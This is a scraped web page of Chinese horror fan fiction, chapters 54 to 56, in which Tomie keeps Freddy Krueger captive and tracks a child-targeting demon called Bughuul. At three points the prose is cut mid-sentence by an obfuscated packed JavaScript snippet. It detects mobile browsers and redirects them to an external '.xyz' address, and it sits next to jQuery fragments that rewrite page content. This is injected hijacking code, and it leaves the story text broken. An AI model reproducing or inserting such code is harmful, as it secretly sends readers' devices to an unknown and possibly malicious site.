“……不怕牵连到无辜的人吗?” 这提醒到了富江,美洲大陆与日本不同,怪异的存在更多。与弗莱迪的交锋让女孩难得歪着脑袋思考了一下,不过很快,她还是坚持了自己的决定。 “没关系,我会保护好他们的。” 如果富勒一家是好人,在这种危机四伏的地方旅游,不是更应该带一个强力的保镖吗?也方便她去各地进食,并且搜集情报。 如果富勒一家是坏人,那更好了啊,这样她就不用饿肚子了!甚至还省去了做保镖的功夫。 怎么想,富江都稳赚不赔。 54. 第 54 章 富江能够自由穿梭于梦境与现实的那天,罗德被释放出了警察局。 这名倒霉的男孩自从弗莱迪·克鲁格被打败之后就在医院苏醒了,但因为病因成谜,苏醒也很突然,也就没回牢里继续蹲,而是被医院强制扣押在了病房。 曼达带来的律师很靠谱,几番交涉下来,警察局选择了放人。 不过人是放了,嫌疑没洗清。就算恢复自由,罗德杀害了女友的消息早在榆树街小镇不胫而走。 这名男孩在小镇居民心中已经是个不折不扣的杀人犯了,就算他之后在这里生活,面临的很可能也是众人的白眼甚至敌意。这种影响短时间之内是无法消除的。 再三考虑之下,曼达决定带走自己弟弟。 这个带走指的是彻底搬离榆树街,因为罗德的母亲也不在了,养父倒是很爽快的同意了曼达的提议。 离开小镇那天,南茜和格伦一大早一起来送别好友。 格伦到现在都有些害怕富江,来送朋友的时候看到女孩脸色都白了。南茜的态度倒是一如既往,看到富江的时候甚至好脾气地跟她打了声招呼。 “嘿。” “你好啊南茜。” 富江笑眯眯地看着拉着自己男朋友的女孩,眼睛落在了他们交握的双手上。 “最近怎么样?” “还不错。”南茜耸了耸肩,“除了格伦上次因为晚上偷溜出门还受了伤被他爸妈训了一顿之外。” “哦对,还得谢谢帕克,要不是他的药箱估计我爸妈会气到把我禁足。” 他的话把两个女孩都逗笑了。 “帕克和曼达呢?” 富江用手指了一下房子:“在帮罗德搬东西,你们要去吗?” 南茜沉默了几秒:“格伦,你去帮帮忙。我和富江还有话要说。” 格伦看看笑眯眯的富江,又看向神色坚定的女友,最后抓了抓自己那头卷毛。 “好吧……你们俩呃,小心点?” 说完他就一步三回头地进到罗德家里帮忙去了,留两个女孩站在原地。 率先开口的是富江:“你还有什么话想跟我说?” “……是弗莱迪的事情。”虽然其他人都离开了,但南茜的神情还是很严肃。“上次你说他被你关起来了。所以他现在是……还活着?” 富江向来不喜欢撒谎,况且南茜是整个事件的当事人,所以她很痛快地点点头:“是啊,他还活着。” “为什么?” 得到了确切的答案,南茜的眉毛竖了起来。 “他是个狡猾的恶魔,我们应该消灭他,不能让他继续存在在世上。” 南茜的想法是正确的。 奸诈、狡猾、邪恶、死性不改,这才是弗莱迪的本质。他完全不会悔改,也不愿悔改。即使被打败,被压制,甚至自己投降,那也是他为了再次复活做出的让步。 重回地狱也无法让他邪恶的念头彻底消失,这样无可救药的恶人,夺走他的力量,让他魂飞魄散才是最正确的选择。 但对富江来说,弗莱迪·克鲁格还有别的用处。 “放心吧亲爱的,他现在已经没办法再兴风作浪了。” “但——” “弗莱迪·克鲁格是被恶魔选中的。”富江打断了南茜话,向女孩的方向夸了一步。“你知道这意味着什么吗?” “……” 南茜没有回答这个问题,但表情已经出卖了她。 很显然,女孩即使不知道这意味着什么,也大概理解“被恶魔选中”对他们这些受害人来说不是什么好事。 “你之前应该也发现了,寻常方法无法杀害弗莱迪。”富江迈开步子,缓缓走到南茜身边。“不仅寻常方法无法杀害他,只要梦魇恶魔还存在,弗莱迪就是不灭的。” 她的声音又轻又柔,像是哄小孩睡觉讲故事一般说出了残酷的事实。 “所以,把他关在我这里是最妥善的解决方式。” 就像是封印一样。 当然,其实富江还有更妥善的解决方式。 那就是把弗莱迪吃掉,连同他体内的梦魇恶魔一起,干干净净,一点碎渣都不留的那种。 不过,对方的一番求饶让她改变主意了。 富江还是不够了解人类的心理状态,这对她来说是一种弱势。就算吃掉十个,甚至一百个十恶不赦的坏人,不理解还是不理解。 她需要一个理解人心之“恶”的助手。而弗莱迪,正好符合这个要求。 而且,口粮还是备起来比较好,以防万一嘛。 南茜转过脸看向依然笑着的富江:“……真的只是关起来吗?” 话音刚落,富江脸上的笑容消失了。 或者说,她将自己平时覆盖在脸上的那层“伪装”撤了下去。 “你是个很优秀的人,南茜·汤普森。” 黑红色从女孩的眼底蔓延开,平时那种被压下去的非人感此刻全都涌上了表层。 “聪明、善良、有正义感,直觉也很敏锐。” 一股诡异的,冰冷的气息在二人之间蔓延开。 看着富江发生的异变,南茜心里一惊。 “我很喜欢你哦。” 但这时候已经来不及了,富江盯着南茜蓝色的双眼,轻轻将手搭在了女孩的肩膀上。 掌心之下的身躯颤抖着,却在这股威压之下无法动弹。 她缓缓地凑到南茜·汤普森面前。 “所以,南茜,你要成为我的朋友吗?” 富江的声音变得缥缈虚无,忽远忽近,奇妙的是南茜的意识也变得模糊了起来。 为什么要这么问?我们不是已经算朋友了吗? 女孩张开嘴,想问问对方这话是什么意思,但她却无法发出任何声音。 颤抖的身体无法动弹,她注视着那双色彩浓重的眼睛,只能看着女孩的脸离自己越来越近,越来越近。 “嘿,你们在外面干什么?进来搭把手!” 忽然,一声叫喊像是炸雷一般在南茜脑中响起。她猛然惊醒过来,一把推开了自己面前的富江向后退了两步。 富江扭过头,看向拿着烟从屋子里走出来的帕克。 与此同时,南茜一路小跑,奔向青年身边。 忽然,她像是想起了什么,半路停下来,再度转过身:“我在梦里看到的那个女孩,穿着西装制服,短头发的那个。” “她是你的朋友吗?” 一瞬间,就像是被摁下了启动键一样,那种非人的感觉从富江身上消失了。 “是的。”她笑了起来,像是无数年轻女孩那样,露出了一个明媚又甜美的微笑。“她是我最好的朋友。” 她的笑像是一道阳光,照进了别人的心中,也照进了南茜的眼睛里。 女孩咬了咬下唇,随即抬起头,很郑重地向富江说道:“抱歉,我不能做你的‘朋友’。” “但是,我会记得你的,谢谢你,富江。” 说完,南茜头也不回地跑进了罗德的家里。因为她的男友在等她,她的朋友还要同她告别。 “你有朋友啊?” 从房子出来的帕克距离她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“什么?”曼达也发现了不对劲,“是街道尽头那栋屋子吗?他们居然把房子卖出去了?!” “什么鬼屋?” 帕克这才意识到自己旁边坐了个不定时炸弹,心道不好,但也没办法,只能一边开车一边跟富江解释道:“街道尽头那间大屋看到吗?我搬来才知道那儿是个鬼屋,十几年前发生过一起凶杀案,全家人都死了。” 这下,连坐在后座的罗德都感慨了一声。 曼达则在一旁补充道:“这条街的房子价格都不贵就是因为当初案子实在是太残忍了。” 说完还看了眼自己弟弟,确认对方状态还算正常,才继续说道:“那户人家……我也不知道他们叫什么,总之大冬天的他们全家人都光着身体被埋到了雪地里,最后发现他们的时候,身体都被冻硬了。据说是被活活冻死的。” 车辆缓缓行至小院内,明明已经到了家,但车里的人却都感到一阵寒意。 罗德有些尴尬地动了动身体,又看了一眼远处的房子:“所以,是……没找到凶手吗?” “是啊,没找到。”话音刚落,帕克忽然想起了什么,又补充道:“不对,也不是全家都死了。” “他们家有个孩子失踪了。” “嗯……原来是这样。” 富江知道帕克是故意没告诉她的,她并不在意。因为刚来到这的第一天,她就展开过探知,把周围都调查了一番。 那栋无人的老屋自然也逃不过筛查,当时并没有发现什么。 或者说,直到他们因为罗德的事情赶往榆树街之前,那栋老屋都没有什么异状。 但现在却不同了。 即使是深夜,即使街道中的路灯并不足展现那幢屋子的全貌,富江还是看到了围绕在它周围的淡淡的黑色气息。 纯粹的,邪恶的气息。 55. 第 55 章 “街道尽头那栋房子,你不会去做什么吧?” 回家第二天,曼达带着罗德一出门,帕克就把准备出去的富江堵在了屋子里。 看着男人如临大敌的样子,富江笑了:“帕克,我看上去像是很有攻击性的样子吗?” “……看着不像。” 但不像才危险。自然界的猎手有时候为了捕猎,反而会让自己显得很无害。富江现在在青年眼里就是这种类型。 “听着,没告诉你那屋子以前死过人是我的不对。但是——” “我知道。”富江打断了对方的喋喋不休,耐心地解释道。“来这第一天我就查过了,那栋屋子当时没问题。” “哦是吗?那太好……”帕克正准备放下心,女孩句子里的某个单词又让他警惕了起来。“等等,你说‘当时’?” “确切地说,是直到我们去榆树街之前它都没什么问题。” 富江看向窗外。这里并不能看到街道尽头的那间屋子,今天天气很好,阳光洒在外面的草坪上,看着草地绿油油的。 “但昨天晚上回来的时候,它变了。” 这话说得帕克心都提起来了。 “什……什么意思?” 富江思考了一下,干脆拉着他一起出去了。 今天阳光正好,从帕克家的位置看向街道尽头的老宅一览无余。 “昨天晚上回来的时候,那幢房子外面开始有气息了。”女孩用手指指着远处的屋子,画了一个圈。“每个有人住的屋子都会有‘气息’,但那边那种是特别不好的。” “有多不好?” 帕克是普通人,完全看不到富江所说的气息,但他现在不敢不相信女孩说的话。 “克鲁格那种不好吗?” “不。比那还要糟糕。” 弗莱迪·克鲁格是人类。 就算拥有恶魔之力,在梦中以杀人为乐,他也依然是人类。他的欲望是人类的欲望,是带有强烈个人色彩的邪恶。 但老屋外的,却是一种纯正的,冰冷的,毫无个人欲望的,恶之气息。 即使只有丝丝缕缕缠绕在屋外,却异常显眼,以至于昨晚回来富江一眼就注意到了。 那不是人类能够留下的气息。 “等等,我们走之前房子还没事,但回来之后它出了问题?”一旁的帕克还在努力梳理逻辑,“也就是说一开始虽然它死过人,但其实没什么问题?是后来搬进新住户才有问题的?” “没有问题就是最大的问题,帕克。” 即使往生了,死者也会留下怨念或是遗憾在原地。枉死或者被谋杀的人就更不用提了,而怨念是不会随着时间消退的。 “你说了之后我才知道那幢屋子死过人的,这不正常。” 是的,在帕克提起这件事之前,富江完全没有感知到任何不对劲。她吸收了很多这个街区的负面能量,却独独没有那幢死过人的房子的。 之前的它,干净过头了。 “我,我搞不明白。” 听完富江的解释,帕克更迷糊了。他有些颓丧地抓了抓头发,开始来回踱步。 “所以这代表了什么?” “有两种可能。” 第一种,邪恶的气息就是新搬来的那户人家带进来的,与房子本身无关。 第二种,搬来的住户没有问题,而是房子内有什么东西被激活了。一种邪恶的,强大的,能够做到在富江的查探下隐蔽自己的存在。之前死在屋子里的人,情况则像蒂娜那样,不管是怨念还是灵魂,都被吞噬了。 不管是哪种,都很麻烦。 帕克虽然不了解神明与恶魔,却见识过富江的力量。 所以当他从女孩口中听到“麻烦”这个词后,立刻做出了让步。 “好吧,我无话可说了。”说着,帕克举起双手,表示投降。“我的最低标准,不要牵扯到其他人,行吗?” 他有些崩溃的样子成功逗笑了富江。 “当然了帕克。我说过会保护你们的。” 其实富江主动出击的次数真的很少,就比如这次,她单纯只是想先去房子那边查看一下。 和其他超自然存在打交道多了,富江现在也学会了藏拙。没办法,毕竟无论是人类还是非人类,感觉想和自己交朋友的都少之又少。 帕克所在的街道风景不错,白天也没什么人,所以当富江一路溜达到街道尽头的老屋时,很自然的就吸引了在庭院内整理杂物的人的目光。 是一个金发,扎着马尾,看上去还挺年轻的女性。富江走到他们家围栏边上的时候,她似乎正对着院子里的除草机发愁。 女孩露出了一个友好的笑容:“早上好啊女士。” “哦,早上好。”女人似乎没料到富江会这么友好的和自己打招呼,先是略显惊讶地看了她一眼,随后目光扫视了一下周围。“呃,请问你是……?” “我是住在那边的,早上出来散散步。你们是刚搬到这边的吗?” 阳光洒在富江的肌肤上,她本来就比本地人看着更显小,声音又甜,新搬来的女人也渐渐放下了警惕心。 “是啊。”她一脚踩在除草机的发动机上,露出了一个尴尬的笑容。“刚搬来没几天,还没来得及跟周围的人打声招呼什么的。” 富江的目光落在除草机上:“需要帮忙吗?” “哦这个吗?没事,我老公会修好它的。”女人爽朗地拒绝了富江的帮助,“你知道的,这种东西用的时间久了总会出点问题。而且它很重,女孩子估计拿不起来。” 寥寥几句话,两人之间便建立起了一种相对友好的氛围。 扎着马尾的金发女人隔着围栏向富江伸出手:“我是米兰达,米兰达·沃尔。” “川上富江。”黑发女孩回握住女人,她看到对方皱起眉头,继续耐心解释道。“川上是姓,叫我富江就可以。” “富……富,江?” “是的。” 米兰达的表情看上去有些不自然:“所以……你不是美国人?” 话题跳到了富江比较擅长的区域,她立刻搬出了之前和帕克商量好的那套说辞。 “怎么说呢,这是个很复杂的故事。我母亲是美国人,但我父亲不是。所以我是一半一半。” 介绍停顿在了一个意味深长的地方,随后她就立刻转移话题,转过身指向不远处的帕克家。 “总之我现在和家人住在11-2-2号,如果有什么麻烦尽管说,我哥哥是个很热情的人,他会乐意来帮忙的。” “哦,你们可真亲切。谢谢,嗯……富江?” 在得知富江并非美国人后,米兰达的态度就有点不是很自然了。不过她并没有显露出特别明显的态度,富江也没有从和对方的接触里感觉到什么负面情绪。 “还有,你英语真不错。” “谢谢夸奖。” 富江察觉到对方虽然对自己没有敌意,但也没彻底卸下防备,随便聊完便准备找个理由离开。 结果刚一抬头,老屋门口的树边忽然探出了一个小脑袋。 “……那个……” “怎么了?”米兰达不明所以,顺着富江的目光往后一看,当即惊呼起来。“哦天哪维尔?!你在外面待着做什么,快回屋去!” 富江是彻底隐藏气息后才过来的,除了依然能“看”到常人看不到的东西之外,现在的她感知与常人无异。 不过即使和普通人一样,她也能看出躲在树后的金发男孩不是什么活泼的性子。 今天不是休息日,街道的孩子们应该都已经上学去了。 在米兰达的连声驱赶下,小男孩面无表情地盯着富江看了几秒,也不打招呼,头也不回地进了家门。从树后出来的时候,富江发现他似乎还穿着睡衣,脸色也不太好看。 “他是你儿子?没事吧?” “哦不要紧,他是我小儿子。”确认孩子真的进屋了之后,米兰达才又转过脸来尴尬地笑了笑。“刚搬来这条街,他还有点不习惯,所以生病了。” 富江点了点头。 离开的时候她再度看向米兰达所在的大宅。 其实刚才她有一句话没跟米兰达说。 那个男孩,米兰达所说的“小儿子”维尔进屋子的时候,富江发现树后还有个小孩。 是个女孩。 她很确信对方不是米兰达家的孩子。 因为现在才刚入秋,但那个女孩却穿着棉衣外套,戴着顶蓝色的针织帽。 在维尔进屋后,那女孩站在树后,她同样没吭气,歪着头,死死地盯着米兰达。她身上还挂着一丝与这幢屋子相同的黑色气息。 而米兰达却一无所知,只顾着与富江解释情况,显然是看不见女孩的。 回忆了一下之前从帕克和曼达那里听到的情报,富江飞快回到自己住的屋内。 “怎么这么快就回来了?” “那栋屋子以前的凶案,网上能查到吗?” 帕克本来还想询问一下富江出去调查的结果呢,但看女孩这么着急,便也不问了,直接将她带到书房,开始用电脑搜索过去的新闻报纸。 该说幸运还是不幸呢?总之,他们街道的这个案子当初闹得真的很大。 新闻社用了很大的版面来刊登威斯利一家的惨案。 从报纸上刊登的照片来看,他们本来是幸福的一家五口人。威斯利先生拥有一份高薪水的工作,而他的太太则是一位优雅的全职主妇,平时在家照顾三个可爱的孩子。 悲剧发生在圣诞夜,没人知道那天晚上发生了什么。总之第二天清晨,当邻居想来拜访一下威斯利先生一家人的时候,就发现他们一家五口中的四人,穿着单衣被捆绑住手脚,丢在了家里院子中挖的四个坑中。 人们发现这可怜的一家人时,他们已经被冻得僵硬。而他们的大女儿珊迪则失踪了,至今不见人影,不知死活。 富江盯着报纸上一家五口的照片,指了指失踪的那个叫珊迪的小姑娘。 “我看到的是她。” 帕克本来还在读新闻内容呢,闻言转过脸来看向她:“……你认真的?” 这惨案已经是十几年前的新闻了,如果珊迪还活着,也应该是个成年人。 但富江却说在老屋看到了珊迪。 “是她,穿着冬天棉袄夹克,戴着顶针织帽。”富江看着黑白照里微笑的小姑娘,“盯着我和那家的女主人看。” 富江很少语气这么认真,所以帕克情不自禁地爆了一句脏话。 他现在也感觉到事情很不对劲了。 至于威斯利一家人的死因,警方虽然在一家四口的体内检测出了药物,但剂量却不足以致命,导致他们死亡的直接原因则是失温。 警方推断,凶手是药晕了几人之后将他们捆绑住,丢进了提前挖好的土坑里。而圣诞夜当晚,正好下了大雪。 也就是说,威斯利家的四个人真的是活活冻死的。 一家五口人,四个活活冻死,失踪的那个看着像死了,但却穿着棉衣。 从斯洛伐克之行到榆树街梦魇,帕克也算见多识广了,他看着新闻报道嘟囔了一句:“……总不可能是那姑娘杀了她家里人吧?” 话音刚落,电脑屏幕忽然诡异地闪了一下。 紧接着,关于威斯利一家惨死的相关报道以及珊迪的寻人启示不断地跳了出来。 “怎,怎么了?” 帕克以为是系统出了岔子,下意识想把跳出的页面关掉。但—— “鼠标不听使唤了!” 跳出的页面越来越多,渐渐地已经不再是威斯利一家的案件,而是换成了其他版面的新闻报道。 不同的面孔,不同的标题名称,但却都是关于家庭灭门惨案的新闻报道。 “……哦该死的……!” 帕克敏锐察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959597|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到了不对劲,手一伸便准备拔电脑插头。 “等等!” 富江一把按住他手,死死地盯着屏幕。 她还在看,超越常人的阅读速度让她将跳出的页面尽收于眼底。最后,画面上出现了一个血红色的,像是符号一般的东西。 也就是这一刻,富江突然感到了一股冰冷而强大的力量以一种迅猛的速度向二人袭来! 瞬间,女孩的防御机制被强行开到了最大—— “拔掉插头!” 帕克的反应速度飞快,几乎是富江吐出第一个词的瞬间,他的手就动了。 屏幕暗下的同时,以黑发女孩为中心,浓重的阴影从她脚下猛然爆开。影子就像是有自我意识一般不断扩大,眨眼间便将整栋屋子团团围住。 帕克感到整栋房子忽然暗了下来,窗外明媚的阳光不见了,取而代之的是浓重的暗色。 同时,一股无形的压力将他压得喘不过气。男人的身体开始不听使唤,拔掉插头后他连坐都坐不住了,直接从椅子跌倒在了地上。 他艰难地抬起头,却发现平日里向来优哉的富江也变了一副样子。 帕克从未见过富江露出这样的神情。 女孩瞪大双眼,眉毛紧紧地皱起。她半张着嘴,双眼向上虚无地望着某个点,整个身体都在止不住地颤抖。 渐渐地,富江的眼睛彻底被黑红色填满,头发一下暴涨至拖地。 不,不对,不是拖地。那头乌黑的长发此刻已经与黑红色的泥融为一体,像是瀑布一般,源源不断地向下流动着,直到渗透进地板,天花板,屋内的每一个角落。 然后,女孩那双已经变为黑红色的眼睛,耳朵,甚至嘴巴也开始源源不断地冒出了“泥”。 电光火石间,从生死危机中锻炼出的第六感让帕克做出了抉择。 “富……富江,富江!” 男人努力挤压着自己肺部的空气,拼尽全力,喊出了女孩的“名字”。 “名字”,既是“咒语”,也是“束缚”。 话音刚落,一切就像是被按下了停止键一般。 让人喘不过气的压迫感消失了,源源不断扩散的黑影消失了,窗外的阳光照了进来。 “啊……啊……” 帕克的呼唤声像是一击响钟,唤醒了富江逐渐陷入沉醉的意识。 是的,沉醉。 在察觉到房屋被入侵的瞬间,她开启了防御机制,然后便试图与入侵的力量对抗并吞噬掉对方。 遗憾的是,帕克断掉电源的行为似乎也干扰到了对方的行动,富江没有和入侵者正面对上,仅仅只是吞掉了留在屋内的残余的力量。 幸运的是,这只是残余的力量。 吃下去的第一口,女孩的舌尖便感受到了一种以前从未感受过的,无与伦比的美味。 那是人类的“恶意”所无法比拟,无法模仿的东西。 仅仅一小点,便让富江彻底沉醉在那股绝世的美味中,差点无法控制自己。 要不是帕克急中生智呼唤了她在现世被赋予的名字,她现在已经用本体将整栋屋子撑得满满当当了。 “嘿……嘿嘿……就是,这个……就是就是就是这个。” 极致的美味像是陈年的好酒,更像是最顶级的兴奋剂,女孩无法自控地笑出声,十指紧紧按住柔软的脸颊。 “找到了,终于找到了……啊,真的,好好吃,好好吃啊。” 是的,这就是她一直在寻找的美味。 纯粹的,不带有一丝善意与怯懦的,强大又贪婪的“邪恶”。 足以供养她,让她成长,让她变得更强的“邪恶”。 伴随着喃喃自语,富江的瞳孔不断在眼眶中分裂,聚合,分裂,聚合。 “好想吃,好想继续吃,但是不行,不行,会,会失控,不能这样。” 理智和本能在女孩的脑中疯狂博弈,若是帕克醒着,会惊恐地发现,富江此刻的五官正逐渐在脸上“融化”。同时,她身上的皮肤也开始变得凹凸不平,不断的鼓起又凹下。 就像是有什么东西要从里面跑出来了一样。 但就在身上的鼓包即将在脖子上破体而出的那一刻,富江似乎终于恢复了理智,一伸手,将鼓包狠狠地摁了下去。 “呼呼,姐姐,姐姐,你也感觉到了是吗?” 女孩伸出双臂,像是要搂住什么人似的,拥抱住自己面前的空气,哼着歌,转起圈来。 “我好不容易找到了美食,还没跟你分享呢,为什么要跑啊,姐姐?” 只是这次,意识之海中没有传来一丝声音。 逃跑失败的川上富江一反常态,没有发出愤怒的尖叫声与控诉声,而是浑身颤抖地蜷缩在了最深处。 “诶呀诶呀,姐姐又不理我了。” 富江自言自语地做出总结,随后注意到了躺在地上陷入昏迷的帕克。 “哦对,还有你。”她蹲下身,将青年翻过来,抚摸着对方被冷汗打湿的脸颊。“谢谢你帕克,你真好。” 阴影中,柔软的泥化作触手,将昏迷不醒的男人托举起来,轻柔地把他送回到了卧室的床上。 “抱歉,我预测有误,让你陷入了危险之中。” 富江诚恳地向还在昏迷的帕克道了个歉,紧接着,又露出了一个稍显得意的笑。 “之后就不会这样了,我会迅速解决掉那家伙的。” 吞噬掉的邪恶力量中蕴含着很多东西,都是些杂乱无章的,零碎的记忆碎片。这些碎片似乎都不是这股力量的所有者的,而是祂“仆从”们残留下的东西。 唯有一样东西不约而同地出现在了这些纷乱的记忆中。 就是之前出现在电脑上的,类似个人标志一样的印记。 某种,恶魔的印记。 富江是没有和恶魔打过交道的。 但她这里确实有个人,和恶魔做过交易。 56. 第 56 章 回到独属于自己的“世界”只需要短短的一瞬。 一个眨眼间,帕克家的书房消失了,取而代之的,是一间昏暗的,拥有巨大风扇与灰色墙壁的厂房。 富江转过身,敞开的大门外,一顶高帽歪歪地露在边缘的一角。 “……中午好,弗莱迪先生。” 帽子动了一下。 “好吧,好吧,晚上,哦不,中午好,亲爱的小姐。” 带着利刃的手扶住帽子,一个穿着红绿条纹上衣的身影缓缓冒了出来。 “真高兴我们这么快就又见面了。” 来到新环境后,这个曾经在梦中残害无辜之人的杀人鬼看上去倒是还挺适应的。 “我记得弗莱迪先生之前说,会对我知无不言。”富江背着手,把头歪得和弗莱迪角度相似,与他对视着。“现在还算数吗?” “哦,当然!” 男人满是烧伤的脸上露出了一个狡猾的笑,然后他夸张地向富江脱帽鞠了一躬。 “亲爱的小姐,你可是将我从梦魇恶魔手中拯救出来的伟大的存在,这句话当然算数。” “那么,你认识这个符号吗?” 富江手一挥,房屋灰色的水泥墙上瞬间多出了一个鲜红色的,宛若人脸的尖角符号。 就是她在电脑和记忆的碎片中窥见的那个符号。 弗莱迪脸上的笑容消失了。 “哦,哦哦天呐。”几秒钟后,这个男人发出了夸张的感叹声,小心翼翼地按住帽子。“这不是布奇先生的标志吗?” “布奇先生?” 弗莱迪舞动了一下自己的手指:“是的亲爱的小姐,布奇先生。在我们这里,他可是个人尽皆知的有名家伙。” 男人手一收一抓,眨眼间,原本空无一物的房间里出现了一张桌子与一把椅子。 眼见弗莱迪做出了邀请的姿势,富江没有犹豫,坐在了桌前。紧接着,他又像是变戏法一般地掏出了一些画片,开始专心讲述起了“布奇先生”的故事。 “很久很久以前,布奇先生诞生在一个人人和谐又有爱的部落中。” 部落里的人将布奇先生视为神明,以部族内最为珍贵的东西一直供奉着他。 “那时的部落甚至连文字都还没有发展出来,但又实在是希望留下他们尊敬又畏惧的布奇先生的故事,于是他们——” 弗莱迪说着,换了一张画片。与刚才画着许多小人与一个高大的黑色人影的图不同,这张画片上,小人们似乎正在类似墙壁一样的地方涂涂抹抹。 “他们将布奇先生的身影留在了画作中。” 而到了今日,虽然这个部落早已衰落,伟大又厉害的布奇先生却借由图像的力量,一直存续到了现在。 看着画片上的简笔画,富江沉默不语。 虽然弗莱迪的故事讲的模棱两可,但确实提醒到了她。 白天去沃尔家的时候,她并没有展现什么力量,甚至帕克压根就没出门。 但他们还是在互联网搜索资料的时候被对方发现了。 “看来这位年纪不小的布奇先生……还挺与时俱进的?” “正是如此!” 弗莱迪放下画片,开始动作夸张地在富江周围走来走去。 “以前是只有图画,但如今这个时代除了图画还有文字,除了文字还有媒体、电视、甚至互联网。布奇先生完全可以借着这些东西前往任何自己想去的地方!” 他猛然出现在富江身后,双手轻轻按住女孩的肩膀:“不过,布奇先生是个低调的家伙,虽然兴趣爱好和我有那么一点点相似,但他更老派一些。” 富江看向搭在自己肩膀上的手,这时候的弗莱迪为了给她看画片,少有的没有戴他的钢爪。 被火焚烧过的皮肤凹凸不平,就这么搭在她的脖颈两侧,触感非常怪异。 但富江却很怀念,毕竟小泉凌以前也是个被重度烧伤留下伤疤的人。 她思考了一下弗莱迪的兴趣爱好:“……你是说他喜欢小孩?” “bingo~” 弗莱迪没有离开,而是站在富江身后,抬了抬手指。 瞬间,原本躺在桌面上的画片竖了起来,开始自动演绎起了他刚才演绎的故事。 “没人知道为什么布奇先生喜欢小孩子,总之无论是过去还是现在,被他选中的孩子总是会在进行过一场仪式之后,成为布奇先生的信徒,永远生活在另一个乌托邦的完美世界里。” 画片上的场景又变了。 富江看到了一个个住在房屋里的小人,有高有矮。而布奇先生,往往会盯着其中一个矮小的身影看。 那个小身影距离布奇先生越来越近,越来越近。 最终,当这个家庭的其他人聚集在仪式阵中央的时候,小小的身影总是和布奇先生站在一起的。 从那之后的每一张画片都是如此。 每一张都是。 “那些狡猾又奸诈的驱魔人讨厌对孩子友好的布奇先生。”弗莱迪夸张地耸耸肩,“他们误以为那些可怜的孩子是被布奇先生吃掉了,所以给了布奇先生一个很帅气的称呼。” “噬童者·伯古尔。” 画片们呼啦一下全都消失了。富江低下头,桌面上缓缓浮现出了那个血红色的,像是人脸的尖角符号。 满是烧伤的手横过富江的脖子,她感到男人靠在了自己耳边。 “但其实,布奇先生只是把他们带去了自己的世界。他真正吃掉的,可并不是这些小孩……” 眼下闪过一道寒光,感受着锁骨附近被无机物触碰到的凉意,富江微微抬起头。 “他吃的,是这些孩子们的家人,对不对?” 富江才不会相信弗莱迪讲述的故事。 布奇先生的气息对她来说美味得不能再美味,也就是说他并非人类价值观里的那种善良的“神明”。 再结合他们在网上搜查到的新闻,一切也就不言而喻了。 这个恶魔会诱惑被选中的家庭中的小孩,并且最终借由这些孩子们的手完成所谓的献祭仪式。 被献祭的,则是这个家庭中的其他成员。 杀人鬼靠在富江的耳边,贪婪地嗅着乌黑的长发透出的淡淡香气。不知何时,锋利的钢爪手套也回到了他粗糙的右手上。 “是啊,到了现代,布奇先生喜欢上了观看录影带。” 就像当初信徒们通过壁画将神的故事保留下来一样,布奇先生,或者说伯古尔,也通过录影带,将一次次献祭记录了下来。 记录,传播,然后再记录,传播。 威斯利一家死后屋子没有任何异状的原因就在于此了。 “狡猾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14976366|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶魔,狡猾的诅咒,还有——” 富江伸手,轻轻捏住了正轻轻抚摸着自己脖颈的钢爪。 “你知道吗弗莱迪先生,你讲故事的技术有点不过关。” 女孩反手抓住了男人的胳膊,与此同时,双眼也变成了满溢的黑红色:“其实最高效率的方式,是让我直接来看看你的记忆。” 富江感到对方的胳膊抽了一下,但没能从她手里逃脱。 “但弗莱迪先生是个随和又幽默的人,还愿意和我做朋友,所以我没有这样做。但!” 她弯着嘴角,脸已经凑到了弗莱迪面前,就差一点点两个人的鼻尖就要碰到了。 “下回给我讲故事之前,记得多练习一下,好吗?” 女孩的脸蛋光滑又白嫩,即使在这么昏暗的室内,其美貌也丝毫未打折扣。 而气势上,她甚至也有隐隐压过面前男人的征兆。 如果有第三个人在场,就能发现,以玩弄猎物为乐,臭名昭著的杀人狂,此刻讪笑的嘴角正在微微颤抖。 “当,当然!我这只是没经验,一定会好好练习……我保证,亲爱的小姐。” 如果弗莱迪还是个完整健康的活人,那么这时候他可能冷汗都要把衣服浸湿了。但他既没有可以让自己正常排汗的皮肤,也不是活人。 只有富江才能感知到男人此刻的心理状态。 他没有撒谎。 “很好。” 女孩说着,松开了对方的手臂。后退一步,似乎是想离开了。 “等等,你,小姐,你到底想做什么?” 听到这话,富江歪歪头,这是她的一个小动作。 “做什么?当然是吃饭啊。” 一瞬间,弗莱迪的表情扭曲了一下。 “您是说……伯古尔?” 吐出那个古老恶魔的名字后,他自己都笑了。 “这个玩笑可不好笑。” 富江脸上的笑容消失了。她不笑的时候,那种友好的“人类感”便消失殆尽。 女孩的眼睛还是黑红色的,昏暗的室内,看上去就像两个黑洞洞的窟窿。 “我不擅长开玩笑,弗莱迪先生,很多人都这么说过。” 她的声音不再甜美,变得空灵而缺乏感情。 “而且,我也没有开玩笑。” 说着,富江的嘴角向上提,露出了一个略显诡异的笑:“要不是帕克还在,我真的会忍不住,那位布奇先生真的很美味。你,一定很理解这种感受吧。” 